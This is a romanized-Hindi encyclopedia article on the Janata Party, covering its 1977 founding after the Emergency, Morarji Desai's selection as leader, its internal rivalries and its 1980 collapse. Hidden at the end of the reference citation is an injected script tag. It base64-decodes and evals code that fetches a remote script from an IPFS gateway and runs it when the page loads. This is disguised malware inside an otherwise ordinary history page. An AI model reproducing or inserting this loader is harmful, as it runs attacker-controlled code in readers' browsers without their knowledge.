जनता पार्टी
janata parti
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| poora nam | janata parti |
| gathan | 23 janavari, 1977 |
| sansthapak | jayaprakash narayan |
| chunav chihn | hal le jata hua kisan |
| vishesh | janata parti ne 1977 se 1980 tak bharat sarakar ka netritv kiya. is dauran moraraji desaee aur chaudhari charan sianh bharat ke pradhanamantri bane. |
| any janakari | aantarik matabhedoan ke karan janata parti 1980 mean toot gayi. |
sansad mean sitoan ki sankhya
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| lokasabha | - |
| rajyasabha | - |
janata parti ka gathan bharat ki pratham mahila pradhanamantri iandira gaandhi dvara lagoo apatakal (1975-1976) ke bad janasangh sahit bharat ke pramukh rajanaitik daloan ka vilay karake hua tha. janata parti ne 1977 se 1980 tak bharat sarakar ka netritv kiya. aantarik matabhedoan ke karan janata parti 1980 mean toot gayi.
janata parti ka uday
desh mean apatakal ke bad 1977 mean jo chunav hua tha, vo apane-ap mean alag qism ka tha. logoan ke samane ye saval kam tha ki kaun achchha hai aur kaun bura, balki ye saval zyada tha ki logoan ki apatakal ke bare mean kya ray hai. usake prati logoan ne jis tarah se vot diya tha, usase saf zahir tha ki logoan ne apatakal ko kharij kar diya tha. yahaan tak ki iandira gaandhi khud bhi chunav har gee thian, sanjay gaandhi har ge the aur sare hindustan mean jisaka bhi talluk apatakal se tha, vo chunav jit nahian pae the. amataur par vahi log chune ge the, jinhoanne apatakal ka virodh kiya tha aur jinake sath zyadati ki gee thi. netagan bhi ve hi the jo lambi jelean kat chuke the. kee samachar-patroan ke mutabiq chunav isalie jaldi karae ge the taki vipakshi daloan ko ikattha hone ka mauka n mil sake. isake bavajood log bahut tezike sath ikattha hue aur janata parti ban gee.[1]
gathabandhan
kee vicharadharaoan aur chhote-b de daloan ko jo dakar bani yah pahali parti thi jisaka adhar tha, apatakal ka virodh karana aur vicharadhara ki simaoan se oopar uthakar ek sath ikattha hona. kuchh dinoan tak parti ke neta aur bhavi pradhanamantri ko lekar vivad chalata raha. halaanki jayaprakash narayan ka kad bahut ooancha tha lekin unaka svasthy thik nahian tha. iandira gaandhi ko 1977 ke chunav mean buri tarah parajay mili. jagajivan ram, chaudhari charan sianh aur moraraji desaee ka nam samane aya. jayaprakash narayan ne bhi moraraji ke nam par apani sahamati jataee. akhirakar moraraji desaee janata parti ke neta chun lie ge. moraraji desaee ko neta banane ka phaisala kafi dabav ke bich hua tha. sajha karyakram banane mean bhi kafi der lagi kyoanki parti mean kee kism ke log the jinaki buniyadi vicharadhara alag-alag thi. itani a dachanoan ke bavajood sajha karyakram ban gaya jo khud mean ek upalabdhi tha. yah ek vyapak sajha karyakram tha. isamean svatantrata aandolan ka aks tha kyoanki parti mean aise kee neta the jo svatantrata aandolan se ju de hue the.[1]
mazabooti aur kamazori
apatakal ke dauran kee log jel kat chuke the. isase ek nee ‘k aaumaredaship’ vikasit huee. halaanki jo log us vakt ke janasangh se, kaangres se ya samajavadi parti se ae the, unaki soch mean kafi fark tha. isake bavajood apatakal ke dauran ki gee jyadati ne logoan ko ikattha kar diya. yahi is gathabandhan ki majabooti thi. kamazori yah thi ki isamean neta bahut the aur kuchh samay bad unake rajanitik kad a de ane lage. ye log vyaktigat mahatvakaankshaoan ko niche rakhakar hamesha ke lie ek parti nahian bana sake.[1]
janata parti ka ast
chaudhari charan sianh pradhanamantri banana chahate the. 1979 ke dauran kaangres ne aandar se chaudhari charan sianh aur hemavati nandan bahuguna ko badhava diya. isake bad janata parti mean vivad shuroo ho gaya. sadasy chho dakar jane lage. vyaktigat mahatvakaankshaean b de uddeshyoan ke a de ane lage, parti mean darar p d gee, parti toot gee aur kaangres ne isaka fayada uthaya.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 janata parti ke uday aur ast ki yadean (hiandi) bibisi hiandi. abhigaman tithi: 8 joon, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
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